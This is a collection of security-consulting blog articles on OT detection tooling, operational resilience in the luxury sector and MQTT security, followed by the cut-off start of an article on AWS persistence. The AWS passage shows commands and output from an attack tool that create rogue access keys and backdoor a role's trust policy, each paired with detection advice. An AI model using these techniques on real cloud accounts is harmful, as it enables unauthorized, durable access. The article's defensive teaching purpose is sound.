• Endpoint protection (AV, application whitelisting, EPP, EDR etc.)
• Authentication and access logs (e.g., Active Directory, local authentication)
• Remote access logs (e.g., VPN, jump servers, bastion)
• Deceptive technologies (e.g., honeypots or decoys)
• Network detection and monitoring probes (listening industrial networks)
• Logs from media sanitization or data transfer stations (e.g., USB kiosks)
• Industrial logs (from SCADA, HMI, PLC … when available)

Traditionally, these logs are collected and analyzed by SIEM and/or SOAR solutions, with or without specific OT detection patterns, and should enable the SOC team to detect, investigate, and respond to security events.

Building a consistent detection strategy for OT environments does not require collecting data from every possible source. In fact, a few well-chosen, properly configured, and actively monitored sources can provide strong visibility and early detection capabilities. The key is to focus on data sources that are both relevant to the specific OT architecture and feasible to monitor without disrupting operations. Prioritizing quality and operational relevance over quantity ensures a more effective and sustainable cybersecurity posture.

How to get the most of detection sources?

Start with logs you already have

A pragmatic and cost-effective way to approach OT detection is to start by leveraging the logs and detection patterns already available within the industrial environment, particularly those already exploited for your IT environments. For example, firewall logs, especially those monitoring IT/OT boundaries, can provide valuable insights into network traffic patterns, segmentation breaches, or suspicious remote access attempts. Similarly, Active Directory (AD) logs can reveal abnormal user behavior, failed authentication attempts, or privilege escalations — all of which are critical signals in both IT and OT contexts. Leveraging these existing sources allows organizations to build initial detection capabilities without heavy investment, while laying a solid foundation for more advanced monitoring in the future.

Rather than starting with deploying complex OT-specific detection tools, organizations should build initial detection capabilities using what is already deployed, configured, and understood. This not only reduces costs but accelerates implementation across industrial sites. The goal is to ensure a consistent baseline of visibility across critical applications, systems, and infrastructure before diving deeper.

By starting with what you already have, and focusing on coverage, not complexity, organizations can address OT detection with speed, relevance, and operational realism, while setting the stage for more advanced capabilities down the line.

We will now focus on the two detection tools most widely adopted and discussed in industrial environments today: EDR solutions and OT network detection probes.
In the following sections, we will examine how to leverage these solutions effectively and outline our recommendations.

EDR

Endpoint Detection & Response solutions provide continuous monitoring and analysis of endpoint activities to detect, investigate, and respond to cyber threats in real time. EDR collects detailed data such as process execution, file changes, network connections, and user behavior. By leveraging behavioral analytics and threat intelligence, EDR tools can identify suspicious activities like malware infections, lateral movement, or privilege escalation.

This detection tool, widely used and popularized in IT environments, is now being adopted by most of our clients for deployment within their industrial environments, driven by the evolution of deployment models, the broader coverage of operating systems, and the improved performance of detection models in increasingly complex environments.

However, this does not mean that 100% of OT devices are compatible with EDR solutions. In fact, EDR compatibility varies significantly across different industrial systems due to their diversity and operational constraints. EDR deployment is generally straightforward on higher levels of the Purdue model, such as Layer 3 and Layer 3.5, where systems resemble traditional IT environments like servers and workstations. At Layer 2, implementation requires careful evaluation with vendors support and testing, as devices and protocols become more specialized and resource constrained. Finally, at the lowest levels, controllers, PLCs, and field devices, EDR is generally not viable due to limited processing capacity, proprietary operating systems, and real-time performance requirements.

For environments that support it, extending EDR coverage allows to:

• Address low maturity: Start with tools that are easier to implement and require less maturity.
• Broad coverage: Focus on quickly covering a wide range of systems, sites, and critical applications.
• Leverage IT tools: Use IT-based solutions like EDR for effective detection without heavy infrastructure requirements.

To conclude, deploying EDR Agents on OT Servers and Workstations is becoming increasingly relevant, and a quick win for OT detection, according to our clients’ feedback.

OT Probes

A detection probe is a piece of equipment, virtual or physical, connected to the information system in order to map and monitor it. It consists of sensors distributed across the network to collect data. And typically, a central console to aggregate, correlate and analyze this data.

Probes for industrial environments, which we will refer to simply as OT probes here, are characterized by their passive, non-invasive listening on the network, and their understanding of industrial protocols and behavior. All their probe solutions work on the same principle: network traffic is collected using flow duplication (SPAN, ERSPAN …) or physical duplicator like taps, etc. Packets are inspected in real time to provide several types of data: flow inventory and mapping, asset and vulnerability management, and finally anomaly and incident detection. OT probes promises wide detection capabilities and variety of possible cases of these data. The features and types of users involved (operational and business team, cybersecurity team, etc.) is what makes OT probes so popular. 

However, our clients often face significant challenges when it comes to deploying these probes and effectively leveraging them for detection at scale.

Here are a few common pain points when deploying OT probes:

• Industrial site network capabilities and resources: Deploying OT probes often presents significant challenges due to the limitations of industrial network infrastructure. Network taps and SPAN ports on switches, commonly used for traffic monitoring, are not always manageable or available in OT environments, which limits options for passive traffic capture. Additionally, the costs associated with installing dedicated network taps can be prohibitive, especially across distributed and remote industrial sites. Moreover, deploying and maintaining probes requires skilled resources on-site.
• OT probes collect and correlate information through network traffic capture. To be effective, their deployment requires carefully selecting listening points based on the intended targets. Listening points need to be tailored to each site architecture, often limited by local team knowledge and lack of documentation. Moreover, because industrial environments vary between different sites within the same organization, it is very difficult to establish a one-size-fits-all blueprint. In some architectures, achieving comprehensive asset coverage may require deploying dozens of collection points. As a result, selecting and configuring listening points is a repetitive, iterative process that must be adapted for each location to ensure optimal visibility and detection capabilities.

More than deploying, operating these probes also comes with challenges and requires a significant workload. They tend to generate a high number of false positives, which means teams must create tailored detection rules and playbooks to filter and respond effectively. On average, we estimate that one full-time SOC analyst is required to manage the alerts generated by 50 probes.

In the end, OT probes may be popular, but deployment and tuning costs and resources limit their full utilization. Our recommendation is to prioritize deploying OT probes for critical sites or within key network segments that demand advanced industrial and network monitoring capabilities. Deployment should also be aligned with the organization’s capacity to manage the associated tuning and operational workload. This approach helps maximize return on investment while ensuring effective detection where it matters most for our clients.

Consider other solutions?

Regarding detection for industrial perimeter, while this article focuses on key detection sources like EDR and OT network probes, it is important to acknowledge that other solutions such as deceptive technologies (e.g., honeypots or decoys) can also play a valuable role and be relevant in specific scenarios or environment according to your industrial sites architecture or feared compromission scenarios.

Conclusion

To conclude, here are the key recommendations to build an effective detection tooling strategy to monitor industrial environments       :

1. Leverage existing tools for immediate impact:

Begin by maximizing the value of detection sources already available in your industrial environment: firewall logs, active directory, remote access logs… and EDR, that can be quickly implemented on OT servers and workstations, offering high visibility with minimal effort. Adapting proven IT detection logic to OT use cases enables organizations to rapidly establish a baseline level of visibility without the need for heavy investments or complex integrations. This pragmatic approach ensures faster deployment and broader coverage of your OT assets.

2. Deploy advanced solutions where you can manage the workload

When extending your detection capabilities, prioritize the deployment of advanced tools like OT network probes where they provide the most value. For network probes, focus on critical sites or segments, and carefully select listening points to balance visibility, cost, and operational overhead. This targeted deployment approach ensures resources are used efficiently and strategically.

3. Prioritize quality and relevance over quantity

Building an effective OT detection strategy does not require monitoring every possible data source. Instead, focus on sources that are both relevant to your environment and technically feasible to collect without disrupting operations. This approach allows reducing log storage and management costs and enable the creation of more relevant, high quality detection rules.

Do not hesitate to reach out to discuss how you can build and improve your detection strategy to monitor your industrial assets!

In our next article, we will look at how to evaluate detection in industrial environments using purple team exercises, a practical way to assess and improve your detection capabilities.

Cet article Cybersecurity tooling strategy for an effective industrial detection est apparu en premier sur RiskInsight.

      The luxury market continues to grow globally and is expected to reach €2.5 trillion by 2030[1]. The health of this sector is therefore having an increasingly significant impact on the economy. This is especially true for France, where the sector is well represented in the CAC 40[2]. Thus, in this machine made of leather and silk, a single grain of sand can cost tens of millions of euros and have a lasting impact on the image of these companies. Yet, the risk factors are numerous.

Like all sectors, luxury is impacted by geopolitical instability and climate change:
On one hand, due to the high internationalization of its value chain (in 2023, French luxury companies exported goods worth €50.6 billion[3]); on the other hand, because of its high dependence on high-quality natural resources, particularly leather, textiles, and minerals.

In recent years, luxury companies have significantly accelerated the digitalization of their business processes, from manufacturing to sales. Their critical functions increasingly rely on assets exposed to IT incidents, whether caused by cyberattacks or not. Notably, the growing use of AI and IoT is a strong differentiator from a business perspective, but it also increases exposure to technological risks that are still partially identified and mitigated due to their novelty.

As a result, the sector faces a key challenge: how to ensure its sustainability in the context of growing threats? In response, a fundamental concept is gaining traction among major luxury Houses: operational resilience. What is the state of the art in the luxury sector regarding operational resilience? What mechanisms are being deployed by luxury brands to ensure the resilience of their critical activities?

Operational Resilience Applied to Luxury

Armed forces were among first to adopt the concept of operational resilience, defining it as:

“The ability to face the consequences of a traumatic crisis and bounce back, acting effectively despite a degraded environment and the human, organizational, and technical damages they [the military] may have suffered.”[4]

While this definition has a strong military tone, it nonetheless conveys a goal that any organization can pursue: the ability to withstand major disruptions and recover. Today, operational resilience has begun to permeate all sectors, from energy to healthcare, including luxury. This trend has been notably driven by the rise of regulations and standards dedicated to operational resilience, especially in the financial sector (DORA, Solvency II, PCI DSS…).

At Wavestone, we consider operational resilience to be structured around seven key pillars, inspired by best practices, notably the ISO 22301[5] standard, as well as European regulations. The luxury sector is well-suited to building these pillars, provided its specificities are considered.

          Pillar 1: Critical activities and assets knowledge

This involves identifying and improving knowledge of what needs to become resilient among all business processes and assets of the organization. Two approaches exist:

• An exhaustive approach, based on a Business Impact Assessment (BIA) across all organizational processes, providing a global view of activities and identifying critical processes and their supporting assets (IT infrastructure, applications, workshops…). However, this approach is time-consuming and does not add significant value to implementing an efficient resilience strategy.
• A pragmatic approach, based on a limited impact analysis concerning organization’s critical processes, identified beforehand by top management. This faster and higher-value approach allows early focus on analyzing processes recognized as vital by the business, then tracing back to applications and infrastructures that support them.

This mapping is a crucial starting point to focus efforts on what truly matters for the organization. In the luxury sector, particular attention should be paid to the following asset categories: human resources with rare expertise, raw materials, manufacturing tools, and assets related to logistics and payment.

       Pillar 2: Risks Management

The goal is to tailor operational resilience measures to the entity’s risk profile, focusing efforts on preventing the most impactful and likely risk scenarios.

In the luxury sector, it is useful to consider all risks that could affect the entity’s operations, especially those related to geopolitical instability, climate change, and IT/OT, which could impact the supply of rare raw materials, production, and distribution.

       Pillar 3: Implementation and Continuous Improvement of Continuity Solutions

The target is to implement relevant resilience measures, notably through business continuity plans that address identified risks and focus on critical activities.

In the luxury sector, it is useful to define these measures with business teams in a pragmatic and essential way. The idea is for resilience measures to integrate seamlessly into business processes, improving their quality while avoiding being perceived as an additional constraint.

Moreover, luxury professions are often artisanal, with people being the sole holders of a clear vision of their processes (in other words, their craft). The resilience of their work largely depends on them. An interesting approach would be to reverse the usual method: instead of formalizing a continuity procedure and then testing it, conduct a workshop/test with business teams to formalize a procedure based on the best practices they would naturally implement.

       Pillar 4: Third-party risk management

The objective is to have sufficient knowledge of the third parties involved in the entity’s critical activities and to ensure they do not pose an obstacle to their resilience. In the luxury sector, the nature of third parties presents specific characteristics that must be considered. On one hand, they are often artisans or very small businesses (VSBs) that have not worked on their own resilience. On the other hand, some third parties are the only ones able to deliver the level of quality sought by the luxury House, which may place the latter in a position of dependency. A dedicated reflection is therefore needed to co-develop resilience solutions with these third parties, notably through crisis management exercises.

       Pillar 5: Crisis management capability

This involves setting up a framework to manage all types of crises that may arise and that the entity will need to manage: IT, cyber, safety, and business-related. Entities in the luxury sector, due to their “manufacturing” nature, often operate numerous geographically dispersed sites, hosting a variety of professions. These elements must be taken into account to adapt the crisis management framework and ensure that relevant exercises are conducted.

       Pillar 6: IT systems resilience

Given its central role and the technical complexity, it entails, the information system requires particular attention to ensure it is sufficiently protected against threats and can maintain the continuity of its critical services, even in degraded conditions. In the luxury sector, where digitalization process remains relatively recent or still ongoing, a major strategic opportunity emerges integrate resilience considerations from the design phase.

       Pillar 7: Resilience culture and governance

At the heart of the approach, developing an operational resilience strategy is essential, led by clearly identified stakeholders. It is equally important to build on the unique corporate culture of each luxury House — a true driver of employee engagement — by progressively embedding a culture of resilience.

The state of operational resilience in the luxury sector

To establish this overview, we relied on the results of our CyberBenchmark and OpResBenchmark. These two tools respectively assess the maturity level of entities in terms of cybersecurity and operational resilience, while positioning them relative to the rest of the market.

The combination of these tools allowed us to consolidate data from the evaluation of over 150 entities, including a significant number from the luxury sector.
These insights enable us to present the overview below, illustrating the sector’s maturity level across all seven pillars of operational resilience.

According to 2025 data of the Wavestone’s CyberBenchmark and OpRes Benchmak

Upon reviewing this data, the most obvious finding lies in the market average (47.5%):
Entities across all sectors appear to be not very resilient. However, there are significant disparities, particularly depending on the level of regulation in each sector.
Naturally, the financial sector, currently undergoing compliance with DORA (Digital Operational Resilience Act), shows a high level of maturity across all pillars.
Meanwhile, the energy sector, also regulated, must contend with complex industrial systems and heavy legacy infrastructures, which complicate its operational resilience.

The context of the past five years – marked by major challenges to business continuity (COVID-19, military conflicts, rising cyber threats, etc.) – along with the operational resilience recognition in several regulatory texts (e.g., DORA, CER, CRA, NIS 2) seems to be reversing the trend. We are seeing more entities becoming aware of the importance of operational resilience and beginning to launch significant initiatives to address the issue.

In terms of maturity, the luxury sector stands out with an average of 53.4%.
Even though it is not directly targeted by regulation, we have observed a proactive approach to the topic, particularly from CISOs of luxury Houses, who have initiated numerous resilience-related projects. Accustomed to the pursuit of excellence, the luxury sector is embracing the topic voluntarily, convinced that it represents a strategic challenge for the future.

This position even seems to allow it to leverage best practices established by regulation, focusing on what matters most, without being burdened by compliance constraints or oversight from authorities (incident reporting, audit preparation, evidence sharing…).

In practice, this translates into the sector being ahead of many other unregulated industries in terms of operational resilience — even though we are still at the beginning of the journey.

       On crisis management and IT resilience

The consequences of poorly managed crises are often severe — financially, legally, and reputationally. We can easily imagine, for a luxury House, the impact of being unable to process customer payments or a fire affecting a raw materials warehouse. Luxury brands have therefore long been structured to manage the crises they face.

However, these crises now frequently originate from incidents affecting information systems.
In 2022, 62% of luxury sector companies were victims of ransomware attacks, resulting in average financial losses of around €5 million per incident. At the same time, stolen data is increasingly circulating on the Dark Web. According to Dark Web Monitor, listings offering sensitive information — such as upcoming product plans or confidential marketing strategies — have increased by 78%. For example, in 2022, the Italian House Moncler suffered a data breach, with a ransom demand of $3 million to prevent the disclosure of information related to its wealthiest clients[6].

Crisis management therefore relies heavily on IT resilience mechanisms, which materialize the decisions made by the crisis unit. These mechanisms include backups, flow blocking, and workaround solutions. They also play a key role in incident prevention and detection, through tools such as EDRs, IDS/IPS probes, automated patch deployment, and regular configuration testing.

      On third-party risk management

The sector’s maturity on this pillar is largely due to the historical awareness among luxury companies of the criticality of their value chains, both upstream (leather, silk, precious stones sourcing…) and downstream (finished product distribution). These value chains involve numerous external providers — extraction, maritime or road transport, logistics hubs — whose failure can lead to major commercial consequences.

Among the suppliers of major luxury Houses, one often finds small artisanal businesses, holders of rare and hard-to-replace expertise. At first glance, their small size might suggest low risk management maturity. However, due to their strategic value, these artisans receive special attention. Luxury Houses adopt a collaborative approach to support them in managing their risks, including in the IT domain, even though IT systems remain limited in these artisanal structures. This collaboration takes the form of regular audits, sharing of best practices, and in some cases, acquisitions that allow for full integration and maturity development aligned with the standards of the luxury House.

       On understanding critical activities and assets

This pillar is particularly complex to master for luxury entities, which are generally divided into Houses/entities with very different business lines, sometimes spread across multiple continents. This structure gives a certain autonomy to the various business units, which can complicate the proper sharing of information with the teams responsible for resilience at the group level.

       On governance and resilience culture

This pillar is the least well mastered by the sector. Luxury even ranks slightly below the market average. Indeed, roles and responsibilities are rarely clearly defined, and a common governance structure is often nonexistent. As a result, several similar projects may compete with one another, or be handled incompletely (e.g., from an IT perspective without considering BIAs conducted by business teams).

Our recommendations to improve operational resilience in the luxury sector

Wavestone supports multiple entities across all sectors in their operational resilience initiatives. Considering specificities of the luxury sector mentioned earlier, we identify four key recommendations:

Draw inspiration from regulations while remaining pragmatic (DORA, CER, NIS 2, Solvency II, LPM, etc.): Luxury is not directly subject to these regulations, yet it is relevant to leverage them as best practice frameworks. With DORA, the financial sector is progressing rapidly on the topic, and its feedback and experience can be valuable to the luxury sector. Obviously, it is essential to remain pragmatic and retain only the measures that are relevant to the specific luxury entity and its characteristics. It is important to avoid overloading business teams with purely regulatory requirements, which are primarily designed to help supervisory authorities fulfill their role.

Test and learn: Testing is an essential component of an operational resilience strategy.
It is through testing that one can measure the effectiveness of continuity solutions (BCP, DRP, crisis management tools, etc.), draw lessons, and continuously improve them.
Notably, threat-based penetration testing (as described in DORA and the TIBER-EU framework) allows for end-to-end testing of operational teams, including third parties, and can therefore be highly insightful even outside the financial sector.

Establish a Group-level strategy: This helps avoid contradictory initiatives at the entity level and/or between IT/Cyber teams and business units, while also enhancing efficiency. Moreover, this strategy allows for the definition of a target maturity level, tailored to the specific needs of each entity.

Build on existing foundations: Due to their specificities, luxury entities may have already implemented continuity solutions and/or governance structures suited to operational resilience (third-party management, crisis management, cybersecurity programs, etc.).
It is important not to start from scratch, but rather to capitalize on existing assets to initiate a tailored approach.

[1] Luxury in Transition: Securing Future Growth, Bain & Company

[2] The main French stock index

[3] Le luxe français : pourquoi ce secteur déjoue toutes les crises, La Fabrique de l’industrie

[4] Doctrine interarmées, DIA-3.4.1_RESILIENCE, N° 23/ARM/CICDE/NP du 08 février 2022.

[5] This standard defines features of a “business continuity management system”

[6] À quels enjeux de cybersécurité les grands noms du luxe sont-ils confrontés ?, L’Usine Digitale

Cet article Operational resilience in the luxury sector est apparu en premier sur RiskInsight.

In 2024, the number of connected IoT devices worldwide was estimated at around 18 billion, more than double the world’s population. From connected alarms to smart elevators, industrial sensors, and medical devices, these technologies now shape our daily lives. 

Recent advances in the field of IoT have transformed the way we interact with connected objects. Designed to be intuitive, they are accessible without specific expertise. The connections between them, often wireless, go almost unnoticed by users. However, behind this apparent simplicity lie sophisticated communication protocols, including MQTT.  

Due to its popularity and growing presence in sensitive operations, MQTT has been the subject of research for several years regarding the risks associated with its use. Here, we will focus on how it works, its potential vulnerabilities, and best practices for ensuring secure communications. 

MQTT and the reasons behind its popularity 

This protocol’s strengths 

Developed in 1999 by Andy Stanford-Clark (IBM) and Arlen Nipper (Arcom), MQTT was designed to provide a lightweight, efficient solution with low energy and bandwidth consumption for monitoring isolated oil pipelines in the desert via satellite link. 

It is precisely because of these fundamental properties that MQTT has now established itself as the standard for IoT data transmission. This protocol is also frequently used to upload data from sensors or connected objects to cloud platforms. 

Figure 1 – MQTT key features 

How it operates 

Definitions of key terms 

MQTT Client: A device that exchanges information. 

MQTT Broker: An intermediary entity that allows MQTT clients to communicate and through which all MQTT messages pass. Specifically, the broker receives published messages and distributes them to the relevant recipients (subscribers to the corresponding topic).  

Topic: A string of characters used to filter and organize messages according to a hierarchical structure. When a client posts a message, they associate it with a topic.  

Publish/Subscribe: A model derived from the classic client/server model, in which requests are not initiated by a client requesting resources from a server, but by a server regularly sending updates to clients without active solicitation.

MQTT is a “Machine to Machine” or M2M communication protocol that operates according to a Publish/Subscribe model, allowing for great flexibility in its implementation. 

MQTT clients can take on the role of publisher, subscriber, or both.  

To receive the information they need, subscribers subscribe to topics (1), which are generally organized hierarchically within the broker (e.g., Home/Room/etc.). When a publisher sends a message intended for subscribers to that topic (2), they are notified by the broker (3).

As a result, MQTT clients are not required to share the same network or be active at the same time, and do not need to be synchronized with each other.  

Figure 2 – Illustration of a simplified MQTT architecture 

Moreover, MQTT offers a “Quality of Service” mechanism for its messages, allowing communications to be tailored to the requirements of the application. For example, it can guarantee message delivery in the event of an unstable connection. MQTT clients can select one of three QoS levels for the distribution of their messages: 

• QoS 0 « At most once » – The message will be delivered once or not at all, without acknowledgment. 
• QoS 1 « At least once » – The message will be delivered periodically until the sender receives an acknowledgment.  
• QoS 2 « Once » – The message is guaranteed to be delivered once and only once. 

The chosen QoS level also affects how long the message is stored locally by the sender and recipient.  

This architecture enables decentralized and scalable communications. These features are particularly advantageous in the IoT field, where flexibility is essential to accommodate a wide range of use cases. They also explain why MQTT extends far beyond the IoT and finds applications in many other environments, such as telemetry and industrial monitoring. 

Is MQTT vulnerable? 

Like many other communication protocols, MQTT is not secure by default. Although most implementations now incorporate robust security solutions, certain weaknesses and configuration errors persist, leaving systems vulnerable. 

To illustrate these concepts, we will look at a standard example of how this protocol is used in an industrial environment. 

Figure 3 – Illustration of an example of industrial use of MQTT 

In this scenario, all systems represented contain an MQTT client that allows users to subscribe to topics and communicate with the on-premise broker. MQTT communications are unencrypted and there is no authentication of the broker or clients, leaving it possible for an attacker to access production data exchanged in clear text or to send commands to equipment by impersonating the broker or one of its clients. 

How can you protect yourself? 

To effectively mitigate these risks, the broker and MQTT clients must be carefully deployed and configured. Here we propose various security measures to ensure confidentiality, integrity, authenticity, and availability of end-to-end communications. 

Securing the MQTT broker 

Enabling default encryption for communications 

When port 8883 is the only MQTT port defined, unencrypted communication attempts on the broker are rejected. Furthermore, it is essential that the broker has access to a valid certificate and private key and that the cryptographic suite used is secure (e.g., TLS 1.2 or 1.3).  

Figure 4 – Enabling encryption on a Mosquitto MQTT broker via a configuration file 

Many IoT devices have low computing power and limited resources, so adding mechanisms such as TLS can represent a significant overhead. 

Implementation of customer authentication and control of their access rights 

MQTT allows the authentication of clients connecting to a broker using common methods such as a username and password (with an associated password file) and verification of the client’s certificate, validated by a certification authority (the broker must have the certificate from this authority). Some brokers also allow the use of external authentication solutions. 

To restrict subscriptions or publications on certain topics by clients, an Access Control List or ACL logic can be added.

Figure 5 – Addition of a certificate and password authentication with access control on a Mosquitto MQTT broker 

Strict management of topics is essential to prevent data leaks and limit the risk of compromising the broker. The use of wildcards # and + must be carefully monitored, as an overly permissive configuration would allow an attacker to access all ongoing exchanges. 

Deployment of broker protection measures    

A quick search on the Shodan search engine reveals thousands of MQTT brokers exposed on the Internet, often left in their default configuration, whose users are unaware of their existence or implications. It is therefore essential to protect the broker from both internal and external threats by applying good security practices, such as regularly updating the system or restricting the number of simultaneous requests and connections, to prevent denial-of-service attacks and ensure its availability. 

Securing MQTT clients 

Enabling communication encryption 

To connect to the broker, clients must use port 8883 and have a valid certificate and private key, otherwise the connection will be rejected.

Figure 6 – Encrypted connection on an MQTT Paho client 

The use of self-signed certificates to connect to the broker is strongly discouraged because they can be easily substituted.  

Implementation of broker authentication (mutual authentication) 

In addition to client authentication, MQTT supports broker authentication by verifying the certificate authority that signed its certificate, thus ensuring mutual authentication (mTLS) and secure communications.

Figure 7 – Broker authentication on an MQTT Paho client 

Implementation of customer protection measures 

If an MQTT client is compromised, an attacker could access a significant amount of information depending on the configuration of the targeted broker. This is why clients, and their secrets, must also be protected by applying good security practices on the client’s host machine and on the content of exchanges (e.g., adding anti-replay mechanisms to requests).  

What does the future hold for MQTT? 

Despite its maturity, MQTT remains an evolving protocol and is gradually incorporating innovative features to meet the growing demands of connected environments. In a context where demand for reliable, secure, and low-power communications continues to increase, it is likely that MQTT use cases will continue to multiply in the coming years.

Cet article The security of the MQTT protocol est apparu en premier sur RiskInsight.

However, as cloud adoption accelerates, its features and complexity introduced new challenges associated with securing these environments. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still fail to implement effective cloud security strategies due to the novelty of these environments. Among the most predominant misconfigurations, misconfigured IAM roles, overly permissive policies, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.

When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation, the most common action following the initial compromise and privilege escalation is to deploy access persistence on the environment.

Unlike traditional on-premises networks, cloud environments offer several services and configuration loopholes that can be abused to maintain long-term access even after remediation efforts have begun.

In this article, we’ll explore the concept of access persistence in AWS, dissecting the techniques adversaries can use to hide themselves within a cloud environment.

All along this article, the features of a dedicated tool designed to simplify and automate the deployment of persistence techniques in AWS environments will be presented

Persistence on AWS

IAM persistence

In the context of AWS, Identity and Access Management (IAM) is the cornerstone of security. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have not been explicitly allowed to perform an action , you won’t be able to do anything.

At a high level, IAM operates by associating identities (such as IAM users or roles) with policies that are JSON documents describing the privileges of an IAM object on a resource.

These policies are highly granular, supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes. IAM configurations are not just access controls, they are part of the infrastructure itself.

IAM has become a powerful vector for access persistence and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they can modify IAM policies, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.

What makes IAM-based persistence especially dangerous is its stealth and durability. Indeed, changes to IAM often blend in with legitimate administrative activity, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the malicious policy is like finding a needle in a haystack.

In this section, we’ll explore common and lesser-known techniques attackers can use to establish persistence by modifying IAM configurations. We’ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics

Access key

Attack

The 101-persistence technique is adding an AccessKey to a user.

On AWS, users can connect through the CLI using AccessKey. The easiest way to deploy persistence is by deploying an AccessKey on a privileged user.

Once the AccessKey is created for the user, the attacker can access AWS through the CLI with the user’s privileges.

However, this technique has some limitations:

• Only two AccessKey can be registered at once on a user.
• Some SCP, a global policy applied by the organization on a sub-account can prevent users from using AccessKey or enforce MFA

Regarding the limitation of number of AccessKey registered on a user, it is possible to:

1. List the AccessKey registered on a user
2. Get the last time the AccessKey has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk
3. Delete the unused AccessKey:

In order to list and delete an AccessKey, the following privileges are needed:

• iam:ListAccessKeys: retrieve the AccessKeys details
• iam:UpdateAccessKey: deactivate the key prior to its deletion
• iam:DeleteAccessKey: effectively delete the AccessKey

For the MFA it is possible to register an MFA on a specific user without his consent allowing bypassing the restriction. However, if the AccessKey login is denied, this technique cannot be used.

In order to add an AccessKey to a user, the following privilege is needed:

• iam:CreateAccessKey

In order to add MFA to a user, the following privilege is needed:

• aws:CreateVirtualMfaDevice
• aws:EnableMfaDevice

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m AccessKey -u adele.vance
[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei

The key is then added to the user:

Defense

While adding an AccessKey to a user is the easiest way to achieve persistence in an AWS environment it is also one of the least stealthy methods.

Indeed, if the detection team detected the environment compromise, it can easily find the AccessKey deployed by the compromised user through the AWS CloudTrail logs:

Moreover, some security solutions such as Cloud Security Posture Management system can detect this type of persistence if users usually do not use AccessKey.

Finally, as a recommendation, it is usually better to avoid using IAM users with AccessKey and prefere using the AWS SSO: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html

Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to spot rogue AccessKey and closely monitor existing ones (CICD service users for example).

Trust policy

In AWS, roles are IAM objects used to delegate access across services, accounts, or users. Unlike IAM users, roles do not have long-term credentials. Instead, they are assumed (used) through the sts:AssumeRole API, which returns short-lived credentials granting the permissions defined in the role’s permission policies.

To control who can assume a role, AWS uses a special document called a trust policy. A trust policy specifies the trusted principals identities (users, roles, accounts, services, or federated users) that are allowed to assume the role. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.

Real life usecase for AssumeRole and Trust Policy

Imagine a company with multiple AWS accounts:

• one for development
• one for staging
• one for production

Rather than creating and managing separate IAM users in each environment, the organization defines a centralized group of administrators in a management account.

Each target account defines a role with elevated privileges (e.g., CrossAdminAccess), and configures a trust policy allowing only the management account’s IAM identities to assume it. The TrustPolicy, deployed on each target account will look like this:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
      },
      "Action": "sts:AssumeRole",
    }
  ]
}

This approach provides clean separation between environments while maintaining centralized control. Admins “switch roles” from the management account into the other accounts only when needed without duplicating credentials.

After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.

Attack

As it is shown in the previous TrustPolicy, the capacity to assume a specific role in an account is managed by the policy that explicitly allows a foreign account to assume a role in the target account.

However, nothing enforces the TrustPolicy to allow only an account from known and trusted account. An attacker with the privileges to modify a TrustPolicy can backdoor the policy by allowing his own AWS account to assume the role in the compromised account:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::${attackerAccountId}:role/fakeRole"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Once this policy is applied, it is possible to assume the backdoored role directly from the external.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::438465151234:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] New trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::438465151234:user/ADM01",
          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated

The tool allows you to:

• target a specific statement with the -s argument: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement
• create a new statement with the -c argument: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)

Defense

This type of persistence is a powerful persistence mechanism in AWS environments. This technique does not require storing credentials inside the victim environment, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.

Detection of this persistence method requires close monitoring of trust policy changes. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.

Likewise, AWS Config can be used with custom rules to detect TrustPolicy targeting unmanaged account.

NotAllow

Attack

An IAM role policy is a JSON document attached to an IAM role that defines what actions the role is allowed (or denied) to perform, on which resources, and under which conditions.

For example, the following policy allows the associated role to list all S3 buckets in the account.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "*"
    }
  ]
}

In the policy syntax, it is possible to use negation operator: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.

Indeed, by using the NotAction operator, AWS will apply the statement effect to every action except those explicitly listed.

For example, the following policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": "s3:ListBucket",
